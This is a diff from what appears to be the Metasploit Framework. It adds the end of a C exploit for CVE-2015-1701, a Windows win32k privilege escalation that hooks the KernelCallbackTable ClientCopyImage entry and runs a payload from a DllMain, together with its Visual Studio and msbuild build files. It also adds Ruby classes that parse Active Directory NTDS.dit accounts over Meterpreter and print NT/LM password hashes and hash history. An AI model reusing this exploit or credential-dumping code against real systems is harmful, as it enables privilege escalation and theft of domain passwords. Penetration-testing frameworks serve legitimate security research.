wincls.cbSize = sizeof(WNDCLASSEX);
|
||||||
|
wincls.lpfnWndProc = &MainWindowProc;
|
||||||
|
wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
|
||||||
|
wincls.lpszClassName = MAINWINDOWCLASSNAME;
|
||||||
|
|
||||||
|
class_atom = RegisterClassEx(&wincls);
|
||||||
|
while (class_atom) {
|
||||||
|
g_w32theadinfo = teb->Win32ThreadInfo;
|
||||||
|
|
||||||
|
g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; // <--- User32_ClientCopyImage INDEX
|
||||||
|
|
||||||
|
if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI);
|
||||||
|
|
||||||
|
MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom),
|
||||||
|
NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||||
|
|
||||||
|
if (g_shellCalled == 1)
|
||||||
|
{
|
||||||
|
execute_payload(lpPayload);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
OutputDebugString(TEXT(" Failed \r\n"));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!MainWindow) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
rv = GetMessage(&msg1, NULL, 0, 0);
|
||||||
|
|
||||||
|
if (rv == -1)
|
||||||
|
break;
|
||||||
|
|
||||||
|
TranslateMessage(&msg1);
|
||||||
|
DispatchMessage(&msg1);
|
||||||
|
} while (rv != 0);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (class_atom)
|
||||||
|
UnregisterClass(MAKEINTATOM(class_atom), hinst);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
switch (dwReason)
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
if (lpReserved != NULL)
|
||||||
|
{
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
win32k_client_copy_image(lpReserved);
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
245
external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj
vendored
Executable file
245
external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj
vendored
Executable file
|
@ -0,0 +1,245 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}</ProjectGuid>
|
||||||
|
<RootNamespace>cve-2015-1701</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||||
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||||
|
<CodeAnalysisRules />
|
||||||
|
<CodeAnalysisRuleAssemblies />
|
||||||
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<TreatWarningAsError>true</TreatWarningAsError>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||||
|
exit 0</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
<ResourceCompile>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<TreatWarningAsError>true</TreatWarningAsError>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||||
|
exit 0</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
<ResourceCompile>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<StringPooling>true</StringPooling>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||||
|
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||||
|
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<TreatWarningAsError>true</TreatWarningAsError>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
<GenerateMapFile>true</GenerateMapFile>
|
||||||
|
<MapFileName>$(OutDir)\cve-2015-1701.map</MapFileName>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>
|
||||||
|
</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>
|
||||||
|
</EnableCOMDATFolding>
|
||||||
|
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||||
|
<DataExecutionPrevention>
|
||||||
|
</DataExecutionPrevention>
|
||||||
|
<ImportLibrary>$(OutDir)\cve-2015-1701.lib</ImportLibrary>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
<Profile>false</Profile>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||||
|
IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY
|
||||||
|
mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\"
|
||||||
|
:COPY
|
||||||
|
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
|
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<StringPooling>true</StringPooling>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||||
|
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||||
|
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<TreatWarningAsError>true</TreatWarningAsError>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
<GenerateMapFile>true</GenerateMapFile>
|
||||||
|
<MapFileName>$(OutDir)\cve-2015-1701.map</MapFileName>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>
|
||||||
|
</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>
|
||||||
|
</EnableCOMDATFolding>
|
||||||
|
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||||
|
<DataExecutionPrevention>
|
||||||
|
</DataExecutionPrevention>
|
||||||
|
<ImportLibrary>$(OutDir)\cve-2015-1701.lib</ImportLibrary>
|
||||||
|
<Profile>false</Profile>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL
|
||||||
|
IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY
|
||||||
|
mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\"
|
||||||
|
:COPY
|
||||||
|
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="cve-2015-1701.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="cve-2015-1701.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,18 @@
|
||||||
|
<?xml version="1.0" standalone="yes"?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<SolutionPath>.\cve-2015-1701.sln</SolutionPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Target Name="all" DependsOnTargets="x86;x64" />
|
||||||
|
|
||||||
|
<Target Name="x86">
|
||||||
|
<Message Text="Building CVE-2015-1701 client_copy_image x86 Release version" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target Name="x64">
|
||||||
|
<Message Text="Building CVE-2015-1701 client_copy_image x64 Release version" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
</Project>
|
|
@ -54,6 +54,13 @@ IF "%ERRORLEVEL%"=="0" (
|
||||||
POPD
|
POPD
|
||||||
)
|
)
|
||||||
|
|
||||||
|
IF "%ERRORLEVEL%"=="0" (
|
||||||
|
ECHO "Building CVE-2015-1701 (copy_client_image)"
|
||||||
|
PUSHD CVE-2015-1701
|
||||||
|
msbuild.exe make.msbuild /target:%PLAT%
|
||||||
|
POPD
|
||||||
|
)
|
||||||
|
|
||||||
IF "%ERRORLEVEL%"=="0" (
|
IF "%ERRORLEVEL%"=="0" (
|
||||||
ECHO "Building CVE-2013-1300 (schlamperei)"
|
ECHO "Building CVE-2013-1300 (schlamperei)"
|
||||||
PUSHD CVE-2013-1300
|
PUSHD CVE-2013-1300
|
||||||
|
|
|
@ -0,0 +1,165 @@
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module NTDS
|
||||||
|
# This class represents an NTDS account structure as sent back by Meterpreter's
|
||||||
|
# priv extension.
|
||||||
|
class Account
|
||||||
|
|
||||||
|
# Size of an NTDS Account Struct on the Wire
|
||||||
|
ACCOUNT_SIZE = 3016
|
||||||
|
# Size of a Date or Time Format String on the Wire
|
||||||
|
DATE_TIME_STRING_SIZE = 30
|
||||||
|
# Size of the AccountDescription Field
|
||||||
|
DESCRIPTION_SIZE =1024
|
||||||
|
# Size of a Hash History Record
|
||||||
|
HASH_HISTORY_SIZE = 792
|
||||||
|
# Size of a Hash String
|
||||||
|
HASH_SIZE = 33
|
||||||
|
# Size of the samAccountName field
|
||||||
|
NAME_SIZE = 128
|
||||||
|
|
||||||
|
#@return [String] The AD Account Description
|
||||||
|
attr_accessor :description
|
||||||
|
#@return [Boolean] If the AD account is disabled
|
||||||
|
attr_accessor :disabled
|
||||||
|
#@return [Boolean] If the AD account password is expired
|
||||||
|
attr_accessor :expired
|
||||||
|
#@return [String] Human Readable Date for the account's password expiration
|
||||||
|
attr_accessor :expiry_date
|
||||||
|
#@return [String] The LM Hash of the current password
|
||||||
|
attr_accessor :lm_hash
|
||||||
|
#@return [Array<String>] The LM hashes for previous passwords, up to 24
|
||||||
|
attr_accessor :lm_history
|
||||||
|
#@return [Fixnum] The count of historical LM hashes
|
||||||
|
attr_accessor :lm_history_count
|
||||||
|
#@return [Boolean] If the AD account is locked
|
||||||
|
attr_accessor :locked
|
||||||
|
#@return [Fixnum] The number of times this account has logged in
|
||||||
|
attr_accessor :logon_count
|
||||||
|
#@return [String] Human Readable Date for the last time the account logged in
|
||||||
|
attr_accessor :logon_date
|
||||||
|
#@return [String] Human Readable Time for the last time the account logged in
|
||||||
|
attr_accessor :logon_time
|
||||||
|
#@return [String] The samAccountName of the account
|
||||||
|
attr_accessor :name
|
||||||
|
#@return [Boolean] If the AD account password does not expire
|
||||||
|
attr_accessor :no_expire
|
||||||
|
#@return [Boolean] If the AD account does not require a password
|
||||||
|
attr_accessor :no_pass
|
||||||
|
#@return [String] The NT Hash of the current password
|
||||||
|
attr_accessor :nt_hash
|
||||||
|
#@return [Array<String>] The NT hashes for previous passwords, up to 24
|
||||||
|
attr_accessor :nt_history
|
||||||
|
#@return [Fixnum] The count of historical NT hashes
|
||||||
|
attr_accessor :nt_history_count
|
||||||
|
#@return [String] Human Readable Date for the last password change
|
||||||
|
attr_accessor :pass_date
|
||||||
|
#@return [String] Human Readable Time for the last password change
|
||||||
|
attr_accessor :pass_time
|
||||||
|
#@return [Fixnum] The Relative ID of the account
|
||||||
|
attr_accessor :rid
|
||||||
|
#@return [String] Byte String for the Account's SID
|
||||||
|
attr_accessor :sid
|
||||||
|
|
||||||
|
# @param raw_data [String] the raw 3948 byte string from the wire
|
||||||
|
# @raise [ArgumentErrror] if a 3948 byte string is not supplied
|
||||||
|
def initialize(raw_data)
|
||||||
|
raise ArgumentError, "No Data Supplied" unless raw_data.present?
|
||||||
|
raise ArgumentError, "Invalid Data" unless raw_data.length == ACCOUNT_SIZE
|
||||||
|
data = raw_data.dup
|
||||||
|
@name = get_string(data,NAME_SIZE)
|
||||||
|
@description = get_string(data,DESCRIPTION_SIZE)
|
||||||
|
@rid = get_int(data)
|
||||||
|
@disabled = get_boolean(data)
|
||||||
|
@locked = get_boolean(data)
|
||||||
|
@no_pass = get_boolean(data)
|
||||||
|
@no_expire = get_boolean(data)
|
||||||
|
@expired = get_boolean(data)
|
||||||
|
@logon_count = get_int(data)
|
||||||
|
@nt_history_count = get_int(data)
|
||||||
|
@lm_history_count = get_int(data)
|
||||||
|
@expiry_date = get_string(data,DATE_TIME_STRING_SIZE)
|
||||||
|
@logon_date = get_string(data,DATE_TIME_STRING_SIZE)
|
||||||
|
@logon_time = get_string(data,DATE_TIME_STRING_SIZE)
|
||||||
|
@pass_date = get_string(data,DATE_TIME_STRING_SIZE)
|
||||||
|
@pass_time = get_string(data,DATE_TIME_STRING_SIZE)
|
||||||
|
@lm_hash = get_string(data,HASH_SIZE)
|
||||||
|
@nt_hash = get_string(data,HASH_SIZE)
|
||||||
|
@lm_history = get_hash_history(data)
|
||||||
|
@nt_history = get_hash_history(data)
|
||||||
|
@sid = data
|
||||||
|
end
|
||||||
|
|
||||||
|
# @return [String] String representation of the account data
|
||||||
|
def to_s
|
||||||
|
<<-EOS.strip_heredoc
|
||||||
|
#{@name} (#{@description})
|
||||||
|
#{@name}:#{@rid}:#{ntlm_hash}
|
||||||
|
Password Expires: #{@expiry_date}
|
||||||
|
Last Password Change: #{@pass_time} #{@pass_date}
|
||||||
|
Last Logon: #{@logon_time} #{@logon_date}
|
||||||
|
Logon Count: #{@logon_count}
|
||||||
|
#{uac_string}
|
||||||
|
Hash History:
|
||||||
|
#{hash_history}
|
||||||
|
EOS
|
||||||
|
end
|
||||||
|
|
||||||
|
# @return [String] the NTLM hash string for the current password
|
||||||
|
def ntlm_hash
|
||||||
|
"#{@lm_hash}:#{@nt_hash}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# @return [String] Each historical NTLM Hash on a new line
|
||||||
|
def hash_history
|
||||||
|
history_string = ''
|
||||||
|
@lm_history.each_with_index do | lm_hash, index|
|
||||||
|
history_string << "#{@name}:#{@rid}:#{lm_hash}:#{@nt_history[index]}\n"
|
||||||
|
end
|
||||||
|
history_string
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def get_boolean(data)
|
||||||
|
get_int(data) == 1
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_hash_history(data)
|
||||||
|
raw_history = data.slice!(0,HASH_HISTORY_SIZE)
|
||||||
|
split_history = raw_history.scan(/.{1,33}/)
|
||||||
|
split_history.map!{ |hash| hash.gsub(/\x00/,'')}
|
||||||
|
split_history.reject!{ |hash| hash.blank? }
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_int(data)
|
||||||
|
data.slice!(0,4).unpack('L').first
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_string(data,length)
|
||||||
|
data.slice!(0,length).gsub(/\x00/,'')
|
||||||
|
end
|
||||||
|
|
||||||
|
def uac_string
|
||||||
|
status_string = ''
|
||||||
|
if @disabled
|
||||||
|
status_string << " - Account Disabled\n"
|
||||||
|
end
|
||||||
|
if @expired
|
||||||
|
status_string << " - Password Expired\n"
|
||||||
|
end
|
||||||
|
if @locked
|
||||||
|
status_string << " - Account Locked Out\n"
|
||||||
|
end
|
||||||
|
if @no_expire
|
||||||
|
status_string << " - Password Never Expires\n"
|
||||||
|
end
|
||||||
|
if @no_pass
|
||||||
|
status_string << " - No Password Required\n"
|
||||||
|
end
|
||||||
|
status_string
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,70 @@
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module NTDS
|
||||||
|
require 'metasploit/framework/ntds/account'
|
||||||
|
# This class respresent an NTDS parser. It interacts with the Meterpreter Client
|
||||||
|
# to provide a simple interface for enumerating AD user accounts.
|
||||||
|
class Parser
|
||||||
|
|
||||||
|
# The size, in Bytes, of a batch of NTDS accounts
|
||||||
|
BATCH_SIZE = (Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE * 20)
|
||||||
|
|
||||||
|
#@return [Rex::Post::Meterpreter::Channels::Pool] The Meterpreter NTDS Parser Channel
|
||||||
|
attr_accessor :channel
|
||||||
|
#@return [Msf::Session] The Meterpreter Client
|
||||||
|
attr_accessor :client
|
||||||
|
#@return [String] The path to the NTDS.dit file on the remote system
|
||||||
|
attr_accessor :file_path
|
||||||
|
|
||||||
|
def initialize(client, file_path='')
|
||||||
|
raise ArgumentError, "Invalid Filepath" unless file_path.present?
|
||||||
|
@file_path = file_path
|
||||||
|
@channel = client.extapi.ntds.parse(file_path)
|
||||||
|
@client = client
|
||||||
|
end
|
||||||
|
|
||||||
|
# Yields a [Metasploit::Framework::NTDS::Account] for each account found
|
||||||
|
# in the remote NTDS.dit file.
|
||||||
|
#
|
||||||
|
# @yield [account]
|
||||||
|
# @yieldparam account [Metasploit::Framework::NTDS::Account] an AD user account
|
||||||
|
# @yieldreturn [void] does not return a value
|
||||||
|
def each_account
|
||||||
|
raw_batch_data = pull_batch
|
||||||
|
until raw_batch_data.nil?
|
||||||
|
batch = raw_batch_data.dup
|
||||||
|
while batch.present?
|
||||||
|
raw_data = batch.slice!(0,Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE)
|
